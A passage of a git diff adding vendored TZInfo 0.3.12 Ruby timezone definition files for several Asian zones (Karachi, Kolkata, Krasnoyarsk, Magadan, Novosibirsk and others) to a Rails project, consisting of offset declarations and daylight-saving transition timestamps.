3, :o3, 1143295200 + tz.transition 2006, 10, :o2, 1162044000 + tz.transition 2007, 3, :o3, 1174744800 + tz.transition 2007, 10, :o2, 1193493600 + tz.transition 2008, 3, :o3, 1206799200 + tz.transition 2008, 10, :o2, 1224943200 + tz.transition 2009, 3, :o3, 1238248800 + tz.transition 2009, 10, :o2, 1256392800 + tz.transition 2010, 3, :o3, 1269698400 + tz.transition 2010, 10, :o2, 1288447200 + tz.transition 2011, 3, :o3, 1301148000 + tz.transition 2011, 10, :o2, 1319896800 + tz.transition 2012, 3, :o3, 1332597600 + tz.transition 2012, 10, :o2, 1351346400 + tz.transition 2013, 3, :o3, 1364652000 + tz.transition 2013, 10, :o2, 1382796000 + tz.transition 2014, 3, :o3, 1396101600 + tz.transition 2014, 10, :o2, 1414245600 + tz.transition 2015, 3, :o3, 1427551200 + tz.transition 2015, 10, :o2, 1445695200 + tz.transition 2016, 3, :o3, 1459000800 + tz.transition 2016, 10, :o2, 1477749600 + tz.transition 2017, 3, :o3, 1490450400 + tz.transition 2017, 10, :o2, 1509199200 + tz.transition 2018, 3, :o3, 1521900000 + tz.transition 2018, 10, :o2, 1540648800 + tz.transition 2019, 3, :o3, 1553954400 + tz.transition 2019, 10, :o2, 1572098400 + tz.transition 2020, 3, :o3, 1585404000 + tz.transition 2020, 10, :o2, 1603548000 + tz.transition 2021, 3, :o3, 1616853600 + tz.transition 2021, 10, :o2, 1635602400 + tz.transition 2022, 3, :o3, 1648303200 + tz.transition 2022, 10, :o2, 1667052000 + tz.transition 2023, 3, :o3, 1679752800 + tz.transition 2023, 10, :o2, 1698501600 + tz.transition 2024, 3, :o3, 1711807200 + tz.transition 2024, 10, :o2, 1729951200 + tz.transition 2025, 3, :o3, 1743256800 + tz.transition 2025, 10, :o2, 1761400800 + tz.transition 2026, 3, :o3, 1774706400 + tz.transition 2026, 10, :o2, 1792850400 + tz.transition 2027, 3, :o3, 1806156000 + tz.transition 2027, 10, :o2, 1824904800 + tz.transition 2028, 3, :o3, 1837605600 + tz.transition 2028, 10, :o2, 1856354400 + tz.transition 2029, 3, :o3, 1869055200 + tz.transition 2029, 10, :o2, 1887804000 + tz.transition 2030, 3, :o3, 1901109600 + tz.transition 2030, 10, :o2, 1919253600 + tz.transition 2031, 3, :o3, 1932559200 + tz.transition 2031, 10, :o2, 1950703200 + tz.transition 2032, 3, :o3, 1964008800 + tz.transition 2032, 10, :o2, 1982757600 + tz.transition 2033, 3, :o3, 1995458400 + tz.transition 2033, 10, :o2, 2014207200 + tz.transition 2034, 3, :o3, 2026908000 + tz.transition 2034, 10, :o2, 2045656800 + tz.transition 2035, 3, :o3, 2058357600 + tz.transition 2035, 10, :o2, 2077106400 + tz.transition 2036, 3, :o3, 2090412000 + tz.transition 2036, 10, :o2, 2108556000 + tz.transition 2037, 3, :o3, 2121861600 + tz.transition 2037, 10, :o2, 2140005600 + tz.transition 2038, 3, :o3, 29586121, 12 + tz.transition 2038, 10, :o2, 29588725, 12 + tz.transition 2039, 3, :o3, 29590489, 12 + tz.transition 2039, 10, :o2, 29593093, 12 + tz.transition 2040, 3, :o3, 29594857, 12 + tz.transition 2040, 10, :o2, 29597461, 12 + tz.transition 2041, 3, :o3, 29599309, 12 + tz.transition 2041, 10, :o2, 29601829, 12 + tz.transition 2042, 3, :o3, 29603677, 12 + tz.transition 2042, 10, :o2, 29606197, 12 + tz.transition 2043, 3, :o3, 29608045, 12 + tz.transition 2043, 10, :o2, 29610565, 12 + tz.transition 2044, 3, :o3, 29612413, 12 + tz.transition 2044, 10, :o2, 29615017, 12 + tz.transition 2045, 3, :o3, 29616781, 12 + tz.transition 2045, 10, :o2, 29619385, 12 + tz.transition 2046, 3, :o3, 29621149, 12 + tz.transition 2046, 10, :o2, 29623753, 12 + tz.transition 2047, 3, :o3, 29625601, 12 + tz.transition 2047, 10, :o2, 29628121, 12 + tz.transition 2048, 3, :o3, 29629969, 12 + tz.transition 2048, 10, :o2, 29632489, 12 + tz.transition 2049, 3, :o3, 29634337, 12 + tz.transition 2049, 10, :o2, 29636941, 12 + tz.transition 2050, 3, :o3, 29638705, 12 + tz.transition 2050, 10, :o2, 29641309, 12 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Karachi.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Karachi.rb new file mode 100644 index 00000000..b906cc98 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Karachi.rb @@ -0,0 +1,30 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Karachi + include TimezoneDefinition + + timezone 'Asia/Karachi' do |tz| + tz.offset :o0, 16092, 0, :LMT + tz.offset :o1, 19800, 0, :IST + tz.offset :o2, 19800, 3600, :IST + tz.offset :o3, 18000, 0, :KART + tz.offset :o4, 18000, 0, :PKT + tz.offset :o5, 18000, 3600, :PKST + + tz.transition 1906, 12, :o1, 1934061051, 800 + tz.transition 1942, 8, :o2, 116668957, 48 + tz.transition 1945, 10, :o1, 116723675, 48 + tz.transition 1951, 9, :o3, 116828125, 48 + tz.transition 1971, 3, :o4, 38775600 + tz.transition 2002, 4, :o5, 1018119660 + tz.transition 2002, 10, :o4, 1033840860 + tz.transition 2008, 5, :o5, 1212260400 + tz.transition 2008, 10, :o4, 1225476000 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Katmandu.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Katmandu.rb new file mode 100644 index 00000000..37dbea1f --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Katmandu.rb @@ -0,0 +1,20 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Katmandu + include TimezoneDefinition + + timezone 'Asia/Katmandu' do |tz| + tz.offset :o0, 20476, 0, :LMT + tz.offset :o1, 19800, 0, :IST + tz.offset :o2, 20700, 0, :NPT + + tz.transition 1919, 12, :o1, 52322204081, 21600 + tz.transition 1985, 12, :o2, 504901800 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kolkata.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kolkata.rb new file mode 100644 index 00000000..1b6ffbd5 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kolkata.rb @@ -0,0 +1,25 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Kolkata + include TimezoneDefinition + + timezone 'Asia/Kolkata' do |tz| + tz.offset :o0, 21208, 0, :LMT + tz.offset :o1, 21200, 0, :HMT + tz.offset :o2, 23400, 0, :BURT + tz.offset :o3, 19800, 0, :IST + tz.offset :o4, 19800, 3600, :IST + + tz.transition 1879, 12, :o1, 26003324749, 10800 + tz.transition 1941, 9, :o2, 524937943, 216 + tz.transition 1942, 5, :o3, 116663723, 48 + tz.transition 1942, 8, :o4, 116668957, 48 + tz.transition 1945, 10, :o3, 116723675, 48 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Krasnoyarsk.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Krasnoyarsk.rb new file mode 100644 index 00000000..d6c503c1 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Krasnoyarsk.rb @@ -0,0 +1,163 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Krasnoyarsk + include TimezoneDefinition + + timezone 'Asia/Krasnoyarsk' do |tz| + tz.offset :o0, 22280, 0, :LMT + tz.offset :o1, 21600, 0, :KRAT + tz.offset :o2, 25200, 0, :KRAT + tz.offset :o3, 25200, 3600, :KRAST + tz.offset :o4, 21600, 3600, :KRAST + + tz.transition 1920, 1, :o1, 5232231163, 2160 + tz.transition 1930, 6, :o2, 9704593, 4 + tz.transition 1981, 3, :o3, 354906000 + tz.transition 1981, 9, :o2, 370713600 + tz.transition 1982, 3, :o3, 386442000 + tz.transition 1982, 9, :o2, 402249600 + tz.transition 1983, 3, :o3, 417978000 + tz.transition 1983, 9, :o2, 433785600 + tz.transition 1984, 3, :o3, 449600400 + tz.transition 1984, 9, :o2, 465332400 + tz.transition 1985, 3, :o3, 481057200 + tz.transition 1985, 9, :o2, 496782000 + tz.transition 1986, 3, :o3, 512506800 + tz.transition 1986, 9, :o2, 528231600 + tz.transition 1987, 3, :o3, 543956400 + tz.transition 1987, 9, :o2, 559681200 + tz.transition 1988, 3, :o3, 575406000 + tz.transition 1988, 9, :o2, 591130800 + tz.transition 1989, 3, :o3, 606855600 + tz.transition 1989, 9, :o2, 622580400 + tz.transition 1990, 3, :o3, 638305200 + tz.transition 1990, 9, :o2, 654634800 + tz.transition 1991, 3, :o4, 670359600 + tz.transition 1991, 9, :o1, 686088000 + tz.transition 1992, 1, :o2, 695764800 + tz.transition 1992, 3, :o3, 701798400 + tz.transition 1992, 9, :o2, 717519600 + tz.transition 1993, 3, :o3, 733258800 + tz.transition 1993, 9, :o2, 748983600 + tz.transition 1994, 3, :o3, 764708400 + tz.transition 1994, 9, :o2, 780433200 + tz.transition 1995, 3, :o3, 796158000 + tz.transition 1995, 9, :o2, 811882800 + tz.transition 1996, 3, :o3, 828212400 + tz.transition 1996, 10, :o2, 846356400 + tz.transition 1997, 3, :o3, 859662000 + tz.transition 1997, 10, :o2, 877806000 + tz.transition 1998, 3, :o3, 891111600 + tz.transition 1998, 10, :o2, 909255600 + tz.transition 1999, 3, :o3, 922561200 + tz.transition 1999, 10, :o2, 941310000 + tz.transition 2000, 3, :o3, 954010800 + tz.transition 2000, 10, :o2, 972759600 + tz.transition 2001, 3, :o3, 985460400 + tz.transition 2001, 10, :o2, 1004209200 + tz.transition 2002, 3, :o3, 1017514800 + tz.transition 2002, 10, :o2, 1035658800 + tz.transition 2003, 3, :o3, 1048964400 + tz.transition 2003, 10, :o2, 1067108400 + tz.transition 2004, 3, :o3, 1080414000 + tz.transition 2004, 10, :o2, 1099162800 + tz.transition 2005, 3, :o3, 1111863600 + tz.transition 2005, 10, :o2, 1130612400 + tz.transition 2006, 3, :o3, 1143313200 + tz.transition 2006, 10, :o2, 1162062000 + tz.transition 2007, 3, :o3, 1174762800 + tz.transition 2007, 10, :o2, 1193511600 + tz.transition 2008, 3, :o3, 1206817200 + tz.transition 2008, 10, :o2, 1224961200 + tz.transition 2009, 3, :o3, 1238266800 + tz.transition 2009, 10, :o2, 1256410800 + tz.transition 2010, 3, :o3, 1269716400 + tz.transition 2010, 10, :o2, 1288465200 + tz.transition 2011, 3, :o3, 1301166000 + tz.transition 2011, 10, :o2, 1319914800 + tz.transition 2012, 3, :o3, 1332615600 + tz.transition 2012, 10, :o2, 1351364400 + tz.transition 2013, 3, :o3, 1364670000 + tz.transition 2013, 10, :o2, 1382814000 + tz.transition 2014, 3, :o3, 1396119600 + tz.transition 2014, 10, :o2, 1414263600 + tz.transition 2015, 3, :o3, 1427569200 + tz.transition 2015, 10, :o2, 1445713200 + tz.transition 2016, 3, :o3, 1459018800 + tz.transition 2016, 10, :o2, 1477767600 + tz.transition 2017, 3, :o3, 1490468400 + tz.transition 2017, 10, :o2, 1509217200 + tz.transition 2018, 3, :o3, 1521918000 + tz.transition 2018, 10, :o2, 1540666800 + tz.transition 2019, 3, :o3, 1553972400 + tz.transition 2019, 10, :o2, 1572116400 + tz.transition 2020, 3, :o3, 1585422000 + tz.transition 2020, 10, :o2, 1603566000 + tz.transition 2021, 3, :o3, 1616871600 + tz.transition 2021, 10, :o2, 1635620400 + tz.transition 2022, 3, :o3, 1648321200 + tz.transition 2022, 10, :o2, 1667070000 + tz.transition 2023, 3, :o3, 1679770800 + tz.transition 2023, 10, :o2, 1698519600 + tz.transition 2024, 3, :o3, 1711825200 + tz.transition 2024, 10, :o2, 1729969200 + tz.transition 2025, 3, :o3, 1743274800 + tz.transition 2025, 10, :o2, 1761418800 + tz.transition 2026, 3, :o3, 1774724400 + tz.transition 2026, 10, :o2, 1792868400 + tz.transition 2027, 3, :o3, 1806174000 + tz.transition 2027, 10, :o2, 1824922800 + tz.transition 2028, 3, :o3, 1837623600 + tz.transition 2028, 10, :o2, 1856372400 + tz.transition 2029, 3, :o3, 1869073200 + tz.transition 2029, 10, :o2, 1887822000 + tz.transition 2030, 3, :o3, 1901127600 + tz.transition 2030, 10, :o2, 1919271600 + tz.transition 2031, 3, :o3, 1932577200 + tz.transition 2031, 10, :o2, 1950721200 + tz.transition 2032, 3, :o3, 1964026800 + tz.transition 2032, 10, :o2, 1982775600 + tz.transition 2033, 3, :o3, 1995476400 + tz.transition 2033, 10, :o2, 2014225200 + tz.transition 2034, 3, :o3, 2026926000 + tz.transition 2034, 10, :o2, 2045674800 + tz.transition 2035, 3, :o3, 2058375600 + tz.transition 2035, 10, :o2, 2077124400 + tz.transition 2036, 3, :o3, 2090430000 + tz.transition 2036, 10, :o2, 2108574000 + tz.transition 2037, 3, :o3, 2121879600 + tz.transition 2037, 10, :o2, 2140023600 + tz.transition 2038, 3, :o3, 59172247, 24 + tz.transition 2038, 10, :o2, 59177455, 24 + tz.transition 2039, 3, :o3, 59180983, 24 + tz.transition 2039, 10, :o2, 59186191, 24 + tz.transition 2040, 3, :o3, 59189719, 24 + tz.transition 2040, 10, :o2, 59194927, 24 + tz.transition 2041, 3, :o3, 59198623, 24 + tz.transition 2041, 10, :o2, 59203663, 24 + tz.transition 2042, 3, :o3, 59207359, 24 + tz.transition 2042, 10, :o2, 59212399, 24 + tz.transition 2043, 3, :o3, 59216095, 24 + tz.transition 2043, 10, :o2, 59221135, 24 + tz.transition 2044, 3, :o3, 59224831, 24 + tz.transition 2044, 10, :o2, 59230039, 24 + tz.transition 2045, 3, :o3, 59233567, 24 + tz.transition 2045, 10, :o2, 59238775, 24 + tz.transition 2046, 3, :o3, 59242303, 24 + tz.transition 2046, 10, :o2, 59247511, 24 + tz.transition 2047, 3, :o3, 59251207, 24 + tz.transition 2047, 10, :o2, 59256247, 24 + tz.transition 2048, 3, :o3, 59259943, 24 + tz.transition 2048, 10, :o2, 59264983, 24 + tz.transition 2049, 3, :o3, 59268679, 24 + tz.transition 2049, 10, :o2, 59273887, 24 + tz.transition 2050, 3, :o3, 59277415, 24 + tz.transition 2050, 10, :o2, 59282623, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuala_Lumpur.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuala_Lumpur.rb new file mode 100644 index 00000000..77a0c206 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuala_Lumpur.rb @@ -0,0 +1,31 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Kuala_Lumpur + include TimezoneDefinition + + timezone 'Asia/Kuala_Lumpur' do |tz| + tz.offset :o0, 24406, 0, :LMT + tz.offset :o1, 24925, 0, :SMT + tz.offset :o2, 25200, 0, :MALT + tz.offset :o3, 25200, 1200, :MALST + tz.offset :o4, 26400, 0, :MALT + tz.offset :o5, 27000, 0, :MALT + tz.offset :o6, 32400, 0, :JST + tz.offset :o7, 28800, 0, :MYT + + tz.transition 1900, 12, :o1, 104344641397, 43200 + tz.transition 1905, 5, :o2, 8353142363, 3456 + tz.transition 1932, 12, :o3, 58249757, 24 + tz.transition 1935, 12, :o4, 87414055, 36 + tz.transition 1941, 8, :o5, 87488575, 36 + tz.transition 1942, 2, :o6, 38886499, 16 + tz.transition 1945, 9, :o5, 19453681, 8 + tz.transition 1981, 12, :o7, 378664200 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuwait.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuwait.rb new file mode 100644 index 00000000..5bd52831 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuwait.rb @@ -0,0 +1,18 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Kuwait + include TimezoneDefinition + + timezone 'Asia/Kuwait' do |tz| + tz.offset :o0, 11516, 0, :LMT + tz.offset :o1, 10800, 0, :AST + + tz.transition 1949, 12, :o1, 52558899121, 21600 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Magadan.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Magadan.rb new file mode 100644 index 00000000..30209369 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Magadan.rb @@ -0,0 +1,163 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Magadan + include TimezoneDefinition + + timezone 'Asia/Magadan' do |tz| + tz.offset :o0, 36192, 0, :LMT + tz.offset :o1, 36000, 0, :MAGT + tz.offset :o2, 39600, 0, :MAGT + tz.offset :o3, 39600, 3600, :MAGST + tz.offset :o4, 36000, 3600, :MAGST + + tz.transition 1924, 5, :o1, 2181516373, 900 + tz.transition 1930, 6, :o2, 29113777, 12 + tz.transition 1981, 3, :o3, 354891600 + tz.transition 1981, 9, :o2, 370699200 + tz.transition 1982, 3, :o3, 386427600 + tz.transition 1982, 9, :o2, 402235200 + tz.transition 1983, 3, :o3, 417963600 + tz.transition 1983, 9, :o2, 433771200 + tz.transition 1984, 3, :o3, 449586000 + tz.transition 1984, 9, :o2, 465318000 + tz.transition 1985, 3, :o3, 481042800 + tz.transition 1985, 9, :o2, 496767600 + tz.transition 1986, 3, :o3, 512492400 + tz.transition 1986, 9, :o2, 528217200 + tz.transition 1987, 3, :o3, 543942000 + tz.transition 1987, 9, :o2, 559666800 + tz.transition 1988, 3, :o3, 575391600 + tz.transition 1988, 9, :o2, 591116400 + tz.transition 1989, 3, :o3, 606841200 + tz.transition 1989, 9, :o2, 622566000 + tz.transition 1990, 3, :o3, 638290800 + tz.transition 1990, 9, :o2, 654620400 + tz.transition 1991, 3, :o4, 670345200 + tz.transition 1991, 9, :o1, 686073600 + tz.transition 1992, 1, :o2, 695750400 + tz.transition 1992, 3, :o3, 701784000 + tz.transition 1992, 9, :o2, 717505200 + tz.transition 1993, 3, :o3, 733244400 + tz.transition 1993, 9, :o2, 748969200 + tz.transition 1994, 3, :o3, 764694000 + tz.transition 1994, 9, :o2, 780418800 + tz.transition 1995, 3, :o3, 796143600 + tz.transition 1995, 9, :o2, 811868400 + tz.transition 1996, 3, :o3, 828198000 + tz.transition 1996, 10, :o2, 846342000 + tz.transition 1997, 3, :o3, 859647600 + tz.transition 1997, 10, :o2, 877791600 + tz.transition 1998, 3, :o3, 891097200 + tz.transition 1998, 10, :o2, 909241200 + tz.transition 1999, 3, :o3, 922546800 + tz.transition 1999, 10, :o2, 941295600 + tz.transition 2000, 3, :o3, 953996400 + tz.transition 2000, 10, :o2, 972745200 + tz.transition 2001, 3, :o3, 985446000 + tz.transition 2001, 10, :o2, 1004194800 + tz.transition 2002, 3, :o3, 1017500400 + tz.transition 2002, 10, :o2, 1035644400 + tz.transition 2003, 3, :o3, 1048950000 + tz.transition 2003, 10, :o2, 1067094000 + tz.transition 2004, 3, :o3, 1080399600 + tz.transition 2004, 10, :o2, 1099148400 + tz.transition 2005, 3, :o3, 1111849200 + tz.transition 2005, 10, :o2, 1130598000 + tz.transition 2006, 3, :o3, 1143298800 + tz.transition 2006, 10, :o2, 1162047600 + tz.transition 2007, 3, :o3, 1174748400 + tz.transition 2007, 10, :o2, 1193497200 + tz.transition 2008, 3, :o3, 1206802800 + tz.transition 2008, 10, :o2, 1224946800 + tz.transition 2009, 3, :o3, 1238252400 + tz.transition 2009, 10, :o2, 1256396400 + tz.transition 2010, 3, :o3, 1269702000 + tz.transition 2010, 10, :o2, 1288450800 + tz.transition 2011, 3, :o3, 1301151600 + tz.transition 2011, 10, :o2, 1319900400 + tz.transition 2012, 3, :o3, 1332601200 + tz.transition 2012, 10, :o2, 1351350000 + tz.transition 2013, 3, :o3, 1364655600 + tz.transition 2013, 10, :o2, 1382799600 + tz.transition 2014, 3, :o3, 1396105200 + tz.transition 2014, 10, :o2, 1414249200 + tz.transition 2015, 3, :o3, 1427554800 + tz.transition 2015, 10, :o2, 1445698800 + tz.transition 2016, 3, :o3, 1459004400 + tz.transition 2016, 10, :o2, 1477753200 + tz.transition 2017, 3, :o3, 1490454000 + tz.transition 2017, 10, :o2, 1509202800 + tz.transition 2018, 3, :o3, 1521903600 + tz.transition 2018, 10, :o2, 1540652400 + tz.transition 2019, 3, :o3, 1553958000 + tz.transition 2019, 10, :o2, 1572102000 + tz.transition 2020, 3, :o3, 1585407600 + tz.transition 2020, 10, :o2, 1603551600 + tz.transition 2021, 3, :o3, 1616857200 + tz.transition 2021, 10, :o2, 1635606000 + tz.transition 2022, 3, :o3, 1648306800 + tz.transition 2022, 10, :o2, 1667055600 + tz.transition 2023, 3, :o3, 1679756400 + tz.transition 2023, 10, :o2, 1698505200 + tz.transition 2024, 3, :o3, 1711810800 + tz.transition 2024, 10, :o2, 1729954800 + tz.transition 2025, 3, :o3, 1743260400 + tz.transition 2025, 10, :o2, 1761404400 + tz.transition 2026, 3, :o3, 1774710000 + tz.transition 2026, 10, :o2, 1792854000 + tz.transition 2027, 3, :o3, 1806159600 + tz.transition 2027, 10, :o2, 1824908400 + tz.transition 2028, 3, :o3, 1837609200 + tz.transition 2028, 10, :o2, 1856358000 + tz.transition 2029, 3, :o3, 1869058800 + tz.transition 2029, 10, :o2, 1887807600 + tz.transition 2030, 3, :o3, 1901113200 + tz.transition 2030, 10, :o2, 1919257200 + tz.transition 2031, 3, :o3, 1932562800 + tz.transition 2031, 10, :o2, 1950706800 + tz.transition 2032, 3, :o3, 1964012400 + tz.transition 2032, 10, :o2, 1982761200 + tz.transition 2033, 3, :o3, 1995462000 + tz.transition 2033, 10, :o2, 2014210800 + tz.transition 2034, 3, :o3, 2026911600 + tz.transition 2034, 10, :o2, 2045660400 + tz.transition 2035, 3, :o3, 2058361200 + tz.transition 2035, 10, :o2, 2077110000 + tz.transition 2036, 3, :o3, 2090415600 + tz.transition 2036, 10, :o2, 2108559600 + tz.transition 2037, 3, :o3, 2121865200 + tz.transition 2037, 10, :o2, 2140009200 + tz.transition 2038, 3, :o3, 19724081, 8 + tz.transition 2038, 10, :o2, 19725817, 8 + tz.transition 2039, 3, :o3, 19726993, 8 + tz.transition 2039, 10, :o2, 19728729, 8 + tz.transition 2040, 3, :o3, 19729905, 8 + tz.transition 2040, 10, :o2, 19731641, 8 + tz.transition 2041, 3, :o3, 19732873, 8 + tz.transition 2041, 10, :o2, 19734553, 8 + tz.transition 2042, 3, :o3, 19735785, 8 + tz.transition 2042, 10, :o2, 19737465, 8 + tz.transition 2043, 3, :o3, 19738697, 8 + tz.transition 2043, 10, :o2, 19740377, 8 + tz.transition 2044, 3, :o3, 19741609, 8 + tz.transition 2044, 10, :o2, 19743345, 8 + tz.transition 2045, 3, :o3, 19744521, 8 + tz.transition 2045, 10, :o2, 19746257, 8 + tz.transition 2046, 3, :o3, 19747433, 8 + tz.transition 2046, 10, :o2, 19749169, 8 + tz.transition 2047, 3, :o3, 19750401, 8 + tz.transition 2047, 10, :o2, 19752081, 8 + tz.transition 2048, 3, :o3, 19753313, 8 + tz.transition 2048, 10, :o2, 19754993, 8 + tz.transition 2049, 3, :o3, 19756225, 8 + tz.transition 2049, 10, :o2, 19757961, 8 + tz.transition 2050, 3, :o3, 19759137, 8 + tz.transition 2050, 10, :o2, 19760873, 8 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Muscat.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Muscat.rb new file mode 100644 index 00000000..604f651d --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Muscat.rb @@ -0,0 +1,18 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Muscat + include TimezoneDefinition + + timezone 'Asia/Muscat' do |tz| + tz.offset :o0, 14060, 0, :LMT + tz.offset :o1, 14400, 0, :GST + + tz.transition 1919, 12, :o1, 10464441137, 4320 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Novosibirsk.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Novosibirsk.rb new file mode 100644 index 00000000..a4e7796e --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Novosibirsk.rb @@ -0,0 +1,164 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Novosibirsk + include TimezoneDefinition + + timezone 'Asia/Novosibirsk' do |tz| + tz.offset :o0, 19900, 0, :LMT + tz.offset :o1, 21600, 0, :NOVT + tz.offset :o2, 25200, 0, :NOVT + tz.offset :o3, 25200, 3600, :NOVST + tz.offset :o4, 21600, 3600, :NOVST + + tz.transition 1919, 12, :o1, 2092872833, 864 + tz.transition 1930, 6, :o2, 9704593, 4 + tz.transition 1981, 3, :o3, 354906000 + tz.transition 1981, 9, :o2, 370713600 + tz.transition 1982, 3, :o3, 386442000 + tz.transition 1982, 9, :o2, 402249600 + tz.transition 1983, 3, :o3, 417978000 + tz.transition 1983, 9, :o2, 433785600 + tz.transition 1984, 3, :o3, 449600400 + tz.transition 1984, 9, :o2, 465332400 + tz.transition 1985, 3, :o3, 481057200 + tz.transition 1985, 9, :o2, 496782000 + tz.transition 1986, 3, :o3, 512506800 + tz.transition 1986, 9, :o2, 528231600 + tz.transition 1987, 3, :o3, 543956400 + tz.transition 1987, 9, :o2, 559681200 + tz.transition 1988, 3, :o3, 575406000 + tz.transition 1988, 9, :o2, 591130800 + tz.transition 1989, 3, :o3, 606855600 + tz.transition 1989, 9, :o2, 622580400 + tz.transition 1990, 3, :o3, 638305200 + tz.transition 1990, 9, :o2, 654634800 + tz.transition 1991, 3, :o4, 670359600 + tz.transition 1991, 9, :o1, 686088000 + tz.transition 1992, 1, :o2, 695764800 + tz.transition 1992, 3, :o3, 701798400 + tz.transition 1992, 9, :o2, 717519600 + tz.transition 1993, 3, :o3, 733258800 + tz.transition 1993, 5, :o4, 738086400 + tz.transition 1993, 9, :o1, 748987200 + tz.transition 1994, 3, :o4, 764712000 + tz.transition 1994, 9, :o1, 780436800 + tz.transition 1995, 3, :o4, 796161600 + tz.transition 1995, 9, :o1, 811886400 + tz.transition 1996, 3, :o4, 828216000 + tz.transition 1996, 10, :o1, 846360000 + tz.transition 1997, 3, :o4, 859665600 + tz.transition 1997, 10, :o1, 877809600 + tz.transition 1998, 3, :o4, 891115200 + tz.transition 1998, 10, :o1, 909259200 + tz.transition 1999, 3, :o4, 922564800 + tz.transition 1999, 10, :o1, 941313600 + tz.transition 2000, 3, :o4, 954014400 + tz.transition 2000, 10, :o1, 972763200 + tz.transition 2001, 3, :o4, 985464000 + tz.transition 2001, 10, :o1, 1004212800 + tz.transition 2002, 3, :o4, 1017518400 + tz.transition 2002, 10, :o1, 1035662400 + tz.transition 2003, 3, :o4, 1048968000 + tz.transition 2003, 10, :o1, 1067112000 + tz.transition 2004, 3, :o4, 1080417600 + tz.transition 2004, 10, :o1, 1099166400 + tz.transition 2005, 3, :o4, 1111867200 + tz.transition 2005, 10, :o1, 1130616000 + tz.transition 2006, 3, :o4, 1143316800 + tz.transition 2006, 10, :o1, 1162065600 + tz.transition 2007, 3, :o4, 1174766400 + tz.transition 2007, 10, :o1, 1193515200 + tz.transition 2008, 3, :o4, 1206820800 + tz.transition 2008, 10, :o1, 1224964800 + tz.transition 2009, 3, :o4, 1238270400 + tz.transition 2009, 10, :o1, 1256414400 + tz.transition 2010, 3, :o4, 1269720000 + tz.transition 2010, 10, :o1, 1288468800 + tz.transition 2011, 3, :o4, 1301169600 + tz.transition 2011, 10, :o1, 1319918400 + tz.transition 2012, 3, :o4, 1332619200 + tz.transition 2012, 10, :o1, 1351368000 + tz.transition 2013, 3, :o4, 1364673600 + tz.transition 2013, 10, :o1, 1382817600 + tz.transition 2014, 3, :o4, 1396123200 + tz.transition 2014, 10, :o1, 1414267200 + tz.transition 2015, 3, :o4, 1427572800 + tz.transition 2015, 10, :o1, 1445716800 + tz.transition 2016, 3, :o4, 1459022400 + tz.transition 2016, 10, :o1, 1477771200 + tz.transition 2017, 3, :o4, 1490472000 + tz.transition 2017, 10, :o1, 1509220800 + tz.transition 2018, 3, :o4, 1521921600 + tz.transition 2018, 10, :o1, 1540670400 + tz.transition 2019, 3, :o4, 1553976000 + tz.transition 2019, 10, :o1, 1572120000 + tz.transition 2020, 3, :o4, 1585425600 + tz.transition 2020, 10, :o1, 1603569600 